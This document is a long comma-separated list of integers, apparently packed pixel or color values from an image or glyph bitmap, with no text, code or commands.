664,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,58,9493503,16767888,6699578,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,6731519,16767963,16777179,9452032,0,0,0,58,9493503,14389306,0,0,0,0,26294,16777142,6710966,14389350,9493392,3827382,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,102,11993087,11953664,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,102,11993087,11953664,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,102,11993087,11953664,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,102,11993087,16758374,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417846,9474267,11953722,9493430,9474267,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,102,11993087,11953664,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,102,11993087,11953664,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16767888,3801088,0,102,11993087,11953664,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,0,0,0,0,3816080,11993087,16758374,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,6731519,16767963,16777179,9452032,0,0,0,58,9493503,14389306,0,0,0,0,102,11993051,11974363,11953664,6731483,11974363,16758374,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,6731483,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,58,9493467,11964474,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,26294,16777179,9452032,6731519,16767888,3801088,0,0,0,6731519,16767926,6699578,3815994,3815994,0,58,9493503,16777179,9452032,3838171,16777215,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9452032,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,102,11993087,14389350,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,14389306,0,58,9493503,16758374,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16758374,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11983871,16758374,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,58,9493503,16767888,6699578,3815994,3815994,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,0,3815994,3815994,6731519,16758374,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,0,102,11993087,14389306,0,102,11993087,11953664,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,58,9493503,16767888,6699578,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,102,11993087,11953664,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16767888,3801088,0,102,11993087,11953664,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,0,0,0,0,3816080,11993087,16758374,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,6731483,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,58,9493467,11964474,0,0,0,0,0,0,0,6731519,16758374,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9452032,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,102,11993087,14389350,0,0,0,0,0,0,0,6731519,16758374,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6710886,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,